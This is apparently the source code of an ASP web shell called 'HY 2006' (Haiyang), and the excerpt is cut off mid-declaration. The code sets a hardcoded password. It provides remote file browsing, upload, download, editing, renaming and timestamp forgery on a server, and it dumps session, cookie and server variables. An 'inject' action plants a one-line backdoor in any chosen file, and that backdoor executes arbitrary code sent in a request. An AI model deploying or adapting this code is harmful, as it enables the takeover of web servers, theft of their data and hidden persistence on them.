海洋源代码

<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<object runat="server" id="sa" scope="page" classid="clsid:13709620-C279-11CE-A49E-444553540000"></object>
<%
' Option Explicit

 Dim theAct, sTime, aspPath, pageName, strBackDoor, fsoX, saX, wsX

 sTime = Timer
 theAct= Request("theAct")
 pageName = Request("pageName")
 aspPath = Replace(Server.MapPath(".") & "/~86.tmp", "//", "/") 
 strBackDoor = "<script language=vbscript runat=server>"
 strBackDoor = strBackDoor & "If Request(""" & clientPassword & """)<>"""" Then Session(""#"")=Request(""" & clientPassword & """)" & VbNewLine
 strBackDoor = strBackDoor & "If Session(""#"")<>"""" Then Execute(Session(""#""))"
 strBackDoor = strBackDoor & "</script>"       
 
 Const m = "HYTop2006"     
 Const showLogin = ""    
 Const clientPassword = "#"    
 Const dbSelectNumber = 10    
 Const isDebugMode = False    
 Const myName = "Go Into"   
 Const notdownloadsExists = False  
 Const userPassword = "1"  
 Const myCmdDotExeFile = "command.com" 
 Const strJsCloseMe = "<input type=button value=' 关闭 ' οnclick='window.close();'>"

 Sub createIt(fsoX, saX, wsX)
  If isDebugMode = False Then
   On Error Resume Next
  End If

  Set fsoX = Server.CreateObject("Scripting.FileSystemObject")
  If IsEmpty(fsoX) And (pageName = "FsoFileExplorer" Or theAct = "fsoSearch") Then
   Set fsoX = fso
  End If

  Set saX = Server.CreateObject("Shell.Application")
  If IsEmpty(saX) And (pageName = "AppFileExplorer" Or pageName = "SaCmdRun" Or theAct = "saSearch") Then
   Set saX = sa
  End If

  Set wsX = Server.CreateObject("WScript.Shell")
  If IsEmpty(wsX) And (pageName = "WsCmdRun" Or theAct = "getTerminalInfo" Or theAct = "readReg") Then
   Set wsX = ws
  End If

  If Err Then
   Err.Clear
  End If
 End Sub

 Sub chkErr(Err)
  If Err Then
   echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"
   echo "<br/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
   echo "<hr><center><a href=http://a298.ful.cn>Track one 回来了...</a></center></font>"
   Err.Clear
   Response.End
  End If
 End Sub
 
 Sub echo(str)
  Response.Write(str)
 End Sub
 
 Sub isIn()
  If pageName <> "" And PageName <> "login" And PageName <> showLogin Then
   If Session(m & "userPassword") <> userPassword Then
    Response.End
   End If
  End If
 End Sub
 
 Sub showTitle(str)
  echo "<title>" & str & " -HY 2006 By 虫子</title>" & vbNewLine

  PageOther()
 End Sub
 
 Function fixNull(str)
  If IsNull(str) Then
   str = " "
  End If
  fixNull = str
 End Function
 
 Function encode(str)
  str = Server.HTMLEncode(str)
  str = Replace(str, vbNewLine, "<br>")
  str = Replace(str, " ", "&nbsp;")
  str = Replace(str, " ", "&nbsp;&nbsp;&nbsp;&nbsp;")
  encode = str
 End Function
 
 Function getTheSize(theSize)
  If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G"
  If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M"
  If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K"
  If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B"
 End Function
 
 Function HtmlEncode(str)
  If isNull(str) Then
   Exit Function
  End If
  HtmlEncode = Server.HTMLEncode(str)
 End Function
 
 Function UrlEncode(str)
  If isNull(str) Then
   Exit Function
  End If
  UrlEncode = Server.UrlEncode(str)
 End Function
 
 Sub redirectTo(strUrl)
  Response.Redirect(Request.ServerVariables("URL") & strUrl)
 End Sub

 Function trimThePath(strPath)
  If Right(strPath, 1) = "/" And Len(strPath) > 3 Then
   strPath = Left(strPath, Len(strPath) - 1)
  End If
  trimThePath = strPath
 End Function

 Sub alertThenClose(strInfo)
  Response.Write "<script>alert(""" & strInfo & """);window.close();</script>"
 End Sub

 Sub showErr(str)
  Dim i, arrayStr
  str = Server.HtmlEncode(str)
  arrayStr = Split(str, "$$")
'  Response.Clear
  echo "<font size=2>"
  echo "出错信息:<br/><br/>"
  For i = 0 To UBound(arrayStr)
   echo "&nbsp;&nbsp;" & (i + 1) & ". " & arrayStr(i) & "<br/>"
  Next
  echo "</font>"
  Response.End
 End Sub

 Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 Rem     下面是程序模块选择部分
 Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 isIn()
 
 Call createIt(fsoX, saX, wsX)

 Select Case pageName
  Case showLogin, "login"
   PageLogin()
  Case "PageList"
   PageList()
  Case "objOnSrv"
   PageObjOnSrv()
  Case "ServiceList"
   PageServiceList()
  Case "userList"
   PageUserList()
  Case "CSInfo"
   PageCSInfo()
  Case "infoAboutSrv"
   PageInfoAboutSrv()
  Case "AppFileExplorer"
   PageAppFileExplorer()
  Case "SaCmdRun"
   PageSaCmdRun()
  Case "WsCmdRun"
   PageWsCmdRun()
  Case "FsoFileExplorer"
   PageFsoFileExplorer()
  Case "MsDataBase"
   PageMsDataBase()
  Case "OtherTools"
   PageOtherTools()
  Case "TxtSearcher"
   PageTxtSearcher()
  Case "PageAddToMdb"
   PageAddToMdb()
 End Select
 
 Set saX = Nothing
 Set wsX = Nothing
 Set fsoX = Nothing

 Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 Rem  下面是各独立功能模块
 Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 Sub PageAppFileExplorer()
  Response.Buffer = True
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Dim strExtName, thePath, objFolder, objMember, strDetails, strPath, strNewName
  Dim intI, theAct, strTmp, strFolderList, strFileList, strFilePath, strFileName, strParentPath

  showTitle("Shell.Application文件浏览器(&stream)")

  theAct = Request("theAct")
  strNewName = Request("newName")
  thePath = Replace(LTrim(Request("thePath")), "//", "/")
  
  If theAct <> "upload" Then
   If Request.Form.Count > 0 Then
    theAct = Request.Form("theAct")
    thePath = Replace(LTrim(Request.Form("thePath")), "//", "/")
   End If
  End If

  echo "<style>body{margin:8;}</style>"
  
  Select Case theAct
   Case "openUrl"
    openUrl(thePath)
   Case "showEdit"
    Call showEdit(thePath, "stream")
   Case "saveFile"
    Call saveToFile(thePath, "stream")
   Case "copyOne", "cutOne"
    If thePath = "" Then
     alertThenClose("参数错误!")
     Response.End
    End If
    Session(m & "appThePath") = thePath
    Session(m & "appTheAct") = theAct
    alertThenClose("操作成功,请粘贴!")
   Case "pastOne"
    appDoPastOne(thePath)
    alertThenClose("粘贴成功,请刷新本页查看效果!")
   Case "rename"
    appRenameOne(thePath)
   Case "downTheFile"
    downTheFile(thePath)
   Case "theAttributes"
    appTheAttributes(thePath)
   Case "showUpload"
    Call showUpload(thePath, "AppFileExplorer")
   Case "upload"
    streamUpload(thePath)
    Call showUpload(thePath, "AppFileExplorer")
   Case "inject"
    strTmp = streamLoadFromFile(thePath)
    fsoSaveToFile thePath, strTmp & strBackDoor
    alertThenClose("后门插入成功!")
  End Select
  
  If theAct <> "" Then
   Response.End
  End If
  
  
  Set objFolder = saX.NameSpace(thePath)
  
  If Request.Form.Count > 0 Then
   redirectTo("?pageName=AppFileExplorer&thePath=" & UrlEncode(thePath))
  End If
  echo "<input type=hidden name=usePath /><input type=hidden value=AppFileExplorer name=pageName />"
  echo "<input type=hidden value=""" & HtmlEncode(thePath) & """ name=truePath />"
  echo "<div style='left:0px;width:100%;height:48px;position:absolute;top:2px;' id=fileExplorerTools>"
  echo "<input type=button value=' 打开 ' οnclick='openUrl();'>"
  echo "<input type=button value=' 编辑 ' οnclick='editFile();'>"
  echo "<input type=button value=' 复制 ' οnclick=appDoAction('copyOne');>"
  echo "<input type=button value=' 剪切 ' οnclick=appDoAction('cutOne');>"
  echo "<input type=button value=' 粘贴 ' οnclick=appDoAction2('pastOne');>"
  echo "<input type=button value=' 上传 ' οnclick='upTheFile();'>"
  echo "<input type=button value=' 下载 ' οnclick='downTheFile();'>"
  echo "<input type=button value=' 属性 ' οnclick='appTheAttributes();'>"
  echo "<input type=button value=' 插入 ' οnclick=appDoAction('inject');>"
  echo "<input type=button value='重命名' οnclick='appRename();'>"
  echo "<input type=button value='我的电脑' οnclick=location.href='?pageName=AppFileExplorer&thePath='>"
  echo "<input type=button value='控制面板' οnclick=location.href='?pageName=AppFileExplorer&thePath=::{20D04FE0-3AEA-1069-A2D8-08002B30309D}//::{21EC2020-3AEA-1069-A2DD-08002B30309D}'>"
  echo "<form method=post action='?pageName=AppFileExplorer'>"
  echo "<input type=button value=' 后退 ' οnclick='this.disabled=true;history.back();' />"
  echo "<input type=button value=' 前进 ' οnclick='this.disabled=true;history.go(1);' />"
  echo "<input type=button value=站点根 οnclick=location.href=""?pageName=AppFileExplorer&thePath=" & URLEncode(Server.MapPath("/")) & """;>"
  echo "<input style='width:60%;' name=thePath value=""" & HtmlEncode(thePath) & """ />"
  echo "<input type=submit value=' GO.' /><input type=button value=' 刷新 ' οnclick='location.reload();'></form><hr/>"
  echo "</div><div style='height:50px;'></div>"
  echo "<script>fixTheLayer('fileExplorerTools');setInterval(""fixTheLayer('fileExplorerTools');"", 200);</script>"

  For Each objMember In objFolder.Items
   intI = intI + 1
   If intI > 200 Then
    intI = 0
    Response.Flush()
   End If
   
   If objMember.IsFolder = True Then
    If Left(objMember.Path, 2) = "::" Then
     strPath = URLEncode(objMember.Path)
     Else
     strPath = URLEncode(objMember.Path) & "%5C"
    End If
    strFolderList = strFolderList & "<span id=""" & strPath & """ οndblclick='changeThePath(this);' οnclick='changeMyClass(this);'><font class=font face=Wingdings>0</font><br/>" & objMember.Name & "</span>"
    Else
     strDetails = objFolder.GetDetailsOf(objMember, -1)
     strFilePath = objMember.Path
    strFileName = Mid(strFilePath, InStrRev(strFilePath, "/") + 1)
    strExtName = Split(strFileName, ".")(UBound(Split(strFileName, ".")))
    strFileList = strFileList & "<span title=""" & strDetails & """ οndblclick='openUrl();' id=""" & URLEncode(strFilePath) & """ οnclick='changeMyClass(this);'><font class=font face=" & getFileIcon(strExtName) & "</font><br/>" & strFileName & "</span>"
   End If
  Next
  chkErr(Err)

  strParentPath = getParentPath(thePath)
  If thePath <> "" And Left(thePath, 2) <> "::" Then
   strFolderList = "<span id=""" & URLEncode(strParentPath) & """ οndblclick='changeThePath(this);' οnclick='changeMyClass(this);'><font class=font face=Wingdings>0</font><br/>..</span>" & strFolderList
  End If

  echo "<div id=FileList>"
  echo strFolderList & strFileList
  echo "</div>"
  echo "<hr/><center><a href=http://a298.ful.cn>Track one 回来了...</a></center>"
  
  Set objFolder = Nothing
 End Sub
 
 Function getParentPath(strPath)
  If Right(strPath, 1) = "/" Then
   strPath = Left(strPath, Len(strPath) - 1)
  End If
  If Len(strPath) = 2 Then
   getParentPath = " "
   Else
   getParentPath = Left(strPath, InStrRev(strPath, "/"))
  End If
 End Function

 Function streamSaveToFile(thePath, fileContent)
  Dim stream
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Set stream = Server.CreateObject("adodb.stream")
  With stream
   .Type=2
   .Mode=3
   .Open
   chkErr(Err)
   .Charset="gb2312"
   .WriteText fileContent
   .saveToFile thePath, 2
   .Close
  End With
  Set stream = Nothing
 End Function
 
 Sub appDoPastOne(thePath)
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Dim strAct, strPath
  dim objTargetFolder
  strAct = Session(m & "appTheAct")
  strPath = Session(m & "appThePath")
  
  If strAct = "" Or strPath = "" Then
   alertThenClose("参数错误,粘贴前请先复制/剪切!")
   Exit Sub
  End If
  
  If InStr(LCase(thePath), LCase(strPath)) > 0 Then
   alertThenClose("目标文件夹在源文件夹内,非法操作!")
   Exit Sub
  End If

  strPath = trimThePath(strPath)
  thePath = trimThePath(thePath)

  Set objTargetFolder = saX.NameSpace(thePath)
  If strAct = "copyOne" Then
   objTargetFolder.CopyHere(strPath)
   Else
   objTargetFolder.MoveHere(strPath)
  End If
  chkErr(Err)
  
  Set objTargetFolder = Nothing
 End Sub
 
 Sub appTheAttributes(thePath)
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Dim i, strSth, objFolder, objItem, strModifyDate
  strModifyDate = Request("ModifyDate")
  
  thePath = trimThePath(thePath)

  If thePath = "" Then
   alertThenClose("没有选择任何文件(夹)!")
   Exit Sub
  End If

  strSth = Left(thePath, InStrRev(thePath, "/"))
  Set objFolder = saX.NameSpace(strSth)
  chkErr(Err)
  strSth = Split(thePath, "/")(UBound(Split(thePath, "/")))
  Set objItem = objFolder.ParseName(strSth)
  chkErr(Err)

  If isDate(strModifyDate) Then
   objItem.ModifyDate = strModifyDate
   alertThenClose("修改成功!")
   Set objItem = Nothing
   Set objFolder = Nothing
   Exit Sub
  End If
  
'  strSth = objFolder.GetDetailsOf(objItem, -1)
'  strSth = Replace(strSth, chr(10), "<br/>")
  For i = 1 To 8
   strSth = strSth & "<br/>属性(" & i & "): " & objFolder.GetDetailsOf(objItem, i)
  Next
  strSth = Replace(strSth, "属性(1)", "大小")
  strSth = Replace(strSth, "属性(2)", "类型")
  strSth = Replace(strSth, "属性(3)", "最后修改")
  strSth = Replace(strSth, "属性(8)", "所有者")
  strSth = strSth & "<form method=post>"
  strSth = strSth & "<input type=hidden name=theAct value=theAttributes>"
  strSth = strSth & "<input type=hidden name=thePath value=""" & thePath & """>"
  strSth = strSth & "<br/>最后修改: <input size=30 value='" & objFolder.GetDetailsOf(objItem, 3) & "' name=ModifyDate />"
  strSth = strSth & "<input type=submit value=' 修改 '>"
  strSth = strSth & "</form>"
  echo strSth
  
  Set objItem = Nothing
  Set objFolder = Nothing
 End Sub
 
 Sub appRenameOne(thePath)
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Dim strSth, fileName, objItem, objFolder
  fileName = Request("fileName")
  
  thePath = trimThePath(thePath)

  strSth = Left(thePath, InStrRev(thePath, "/"))
  Set objFolder = saX.NameSpace(strSth)
  chkErr(Err)
  strSth = Split(thePath, "/")(UBound(Split(thePath, "/")))
  Set objItem = objFolder.ParseName(strSth)
  chkErr(Err)
  strSth = Split(thePath, ".")(UBound(Split(thePath, ".")))
  
  If fileName <> "" Then
   objItem.Name = fileName
   chkErr(Err)
   alertThenClose("重命名成功,刷新本页可以看到效果!")
   Set objItem = Nothing
   Set objFolder = Nothing
   Exit Sub
  End If
  
  echo "<form method=post>重命名:"
  echo "<input type=hidden name=theAct value=rename>"
  echo "<input type=hidden name=thePath value=""" & thePath & """>"
  echo "<br/><input size=30 value=""" & objItem.Name & """ name=fileName />"
  If InStr(strSth, ":") <= 0 Then
   echo "." & strSth
  End If
  echo "<hr/><input type=submit value=' 修改 '>" & strJsCloseMe
  echo "</form>"
  
  Set objItem = Nothing
  Set objFolder = Nothing
 End Sub

 Sub PageCSInfo()
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Dim strKey, strVar, strVariable
  
  showTitle("客户端服务器交互信息")
  
  echo "<a href=javascript:showHideMe(ServerVariables);>ServerVariables:</a>"
  echo "<span id=ServerVariables style='display:none;'>"
  For Each strVariable In Request.ServerVariables
   echo "<li>" & strVariable & ": " & Request.ServerVariables(strVariable) & "</li>"
  Next
  echo "</span>"
  
  echo "<br/><a href=javascript:showHideMe(Application);>Application:</a>"
  echo "<span id=Application style='display:none;'>"
  For Each strVariable In Application.Contents
   echo "<li>" & strVariable & ": " & Encode(Application(strVariable)) & "</li>"
   If Err Then
    For Each strVar In Application.Contents(strVariable)
     echo "<li>" & strVariable & "(" & strVar & "): " & Encode(Application(strVariable)(strVar)) & "</li>"
    Next
    Err.Clear
   End If
  Next
  echo "</span>"

  echo "<br/><a href=javascript:showHideMe(Session);>Session:(ID" & Session.SessionId & ")</a>"
  echo "<span id=Session style='display:none;'>"
  For Each strVariable In Session.Contents
   echo "<li>" & strVariable & ": " & Encode(Session(strVariable)) & "</li>"
  Next
  echo "</span>"
  
  echo "<br/><a href=javascript:showHideMe(Cookies);>Cookies:</a>"
  echo "<span id=Cookies style='display:none;'>"
  For Each strVariable In Request.Cookies
   If Request.Cookies(strVariable).HasKeys Then
    For Each strKey In Request.Cookies(strVariable)
     echo "<li>" & strVariable & "(" & strKey & "): " & HtmlEncode(Request.Cookies(strVariable)(strKey)) & "</li>"
    Next
    Else
    echo "<li>" & strVariable & ": " & Encode(Request.Cookies(strVariable)) & "</li>"
   End If
  Next
  echo "</span><hr/><center><a href=http://a298.ful.cn>Track one 回来了...</a></center>"
  
 End Sub

 Sub PageFsoFileExplorer()
  If isDebugMode = False Then
   On Error Resume Next
  End If
  Response.Buffer = True
  Dim file, drive, folder, theFiles, theFolder, theFolders
  Dim